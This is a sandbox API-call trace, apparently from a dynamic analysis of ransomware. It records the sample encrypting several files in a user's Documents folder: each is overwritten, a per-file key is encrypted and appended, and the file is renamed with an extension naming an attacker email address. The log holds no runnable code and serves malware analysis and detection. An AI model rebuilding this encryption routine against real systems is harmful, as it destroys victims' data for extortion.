[0118.307] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.307] CloseHandle (hObject=0x6b8) returned 1 [0118.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0118.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.307] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\T FUxorV3za95hcDa.pps" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\t fuxorv3za95hcda.pps"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\T FUxorV3za95hcDa.pps.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\t fuxorv3za95hcda.pps.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d40 | out: hHeap=0x520000) returned 1 [0118.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0118.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6a40 | out: hHeap=0x520000) returned 1 [0118.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7030 [0118.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0118.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.310] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0118.310] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0118.310] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\PErcgE7gQd3tqp0.docx", dwFileAttributes=0x80) returned 1 [0118.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7290 [0118.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563b70 [0118.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7290 | out: hHeap=0x520000) returned 1 [0118.310] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\PErcgE7gQd3tqp0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\percge7gqd3tqp0.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.311] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=9938) returned 1 [0118.311] ReadFile (in: hFile=0x6b8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x26d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x26d2, lpOverlapped=0x0) returned 1 [0118.312] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=-9938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.312] WriteFile (in: hFile=0x6b8, lpBuffer=0x60c2b8*, nNumberOfBytesToWrite=0x26d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60c2b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x26d2, lpOverlapped=0x0) returned 1 [0118.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c2b8 | out: hHeap=0x520000) returned 1 [0118.313] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x26d2 [0118.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.313] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.313] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.313] CloseHandle (hObject=0x6b8) returned 1 [0118.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0118.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.314] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\PErcgE7gQd3tqp0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\percge7gqd3tqp0.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\PErcgE7gQd3tqp0.docx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\percge7gqd3tqp0.docx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b70 | out: hHeap=0x520000) returned 1 [0118.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7030 | out: hHeap=0x520000) returned 1 [0118.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6c08 | out: hHeap=0x520000) returned 1 [0118.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0118.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0118.319] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\Ka4sw.ods", dwFileAttributes=0x80) returned 1 [0118.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0118.319] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\Ka4sw.ods" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\ka4sw.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.319] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=29236) returned 1 [0118.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7234) returned 0x609bd8 [0118.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7234) returned 0x610e18 [0118.320] ReadFile (in: hFile=0x6b8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x7234, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x7234, lpOverlapped=0x0) returned 1 [0118.321] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=-29236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.321] WriteFile (in: hFile=0x6b8, lpBuffer=0x610e18*, nNumberOfBytesToWrite=0x7234, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610e18*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7234, lpOverlapped=0x0) returned 1 [0118.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610e18 | out: hHeap=0x520000) returned 1 [0118.322] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7234 [0118.322] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.322] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.322] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.323] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.323] CloseHandle (hObject=0x6b8) returned 1 [0118.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0118.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.323] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\Ka4sw.ods" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\ka4sw.ods"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\Ka4sw.ods.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\ka4sw.ods.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0118.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0118.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0118.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7458 [0118.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0118.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0118.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0118.325] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\hkfLmu88BzqyS9mkQa.pptx", dwFileAttributes=0x80) returned 1 [0118.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6e68 [0118.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563d40 [0118.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6e68 | out: hHeap=0x520000) returned 1 [0118.326] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\hkfLmu88BzqyS9mkQa.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\hkflmu88bzqys9mkqa.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.326] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69764) returned 1 [0118.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11084) returned 0x609bd8 [0118.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11084) returned 0x2e41f30 [0118.327] ReadFile (in: hFile=0x6b8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x11084, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x11084, lpOverlapped=0x0) returned 1 [0118.330] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=-69764, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.330] WriteFile (in: hFile=0x6b8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x11084, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11084, lpOverlapped=0x0) returned 1 [0118.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.330] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11084 [0118.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.331] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.331] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.331] CloseHandle (hObject=0x6b8) returned 1 [0118.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0118.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.331] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\hkfLmu88BzqyS9mkQa.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\hkflmu88bzqys9mkqa.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\hkfLmu88BzqyS9mkQa.pptx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\hkflmu88bzqys9mkqa.pptx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d40 | out: hHeap=0x520000) returned 1 [0118.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7458 | out: hHeap=0x520000) returned 1 [0118.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0118.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e74f0 [0118.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0118.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0118.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0118.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0118.334] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\F_W-HXxlKUh0nFJn.csv", dwFileAttributes=0x80) returned 1 [0118.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e67e0 [0118.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563c58 [0118.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e67e0 | out: hHeap=0x520000) returned 1 [0118.334] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\F_W-HXxlKUh0nFJn.csv" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\f_w-hxxlkuh0nfjn.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.334] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=58459) returned 1 [0118.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe45b) returned 0x609bd8 [0118.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe45b) returned 0x2e41f30 [0118.335] ReadFile (in: hFile=0x6b8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0xe45b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0xe45b, lpOverlapped=0x0) returned 1 [0118.336] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=-58459, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.336] WriteFile (in: hFile=0x6b8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xe45b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe45b, lpOverlapped=0x0) returned 1 [0118.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.336] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe45b [0118.336] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.336] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.337] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.337] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.337] CloseHandle (hObject=0x6b8) returned 1 [0118.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0118.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0118.337] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\F_W-HXxlKUh0nFJn.csv" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\f_w-hxxlkuh0nfjn.csv"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\F_W-HXxlKUh0nFJn.csv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\f_w-hxxlkuh0nfjn.csv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c58 | out: hHeap=0x520000) returned 1 [0118.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e74f0 | out: hHeap=0x520000) returned 1 [0118.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f98 | out: hHeap=0x520000) returned 1 [0118.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0118.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0118.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0118.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0118.340] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ewD4MeSMGV8e1.pptx", dwFileAttributes=0x80) returned 1 [0118.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x5638b8 [0118.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.340] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ewD4MeSMGV8e1.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\ewd4mesmgv8e1.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.341] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7198) returned 1 [0118.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c1e) returned 0x60abe0 [0118.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c1e) returned 0x60c808 [0118.341] ReadFile (in: hFile=0x6b8, lpBuffer=0x60abe0, nNumberOfBytesToRead=0x1c1e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60abe0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c1e, lpOverlapped=0x0) returned 1 [0118.342] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=-7198, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.342] WriteFile (in: hFile=0x6b8, lpBuffer=0x60c808*, nNumberOfBytesToWrite=0x1c1e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60c808*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c1e, lpOverlapped=0x0) returned 1 [0118.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60abe0 | out: hHeap=0x520000) returned 1 [0118.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c808 | out: hHeap=0x520000) returned 1 [0118.342] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c1e [0118.342] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.342] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.343] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.343] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.343] CloseHandle (hObject=0x6b8) returned 1 [0118.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0118.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0118.343] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ewD4MeSMGV8e1.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\ewd4mesmgv8e1.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ewD4MeSMGV8e1.pptx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\ewd4mesmgv8e1.pptx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0118.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.345] 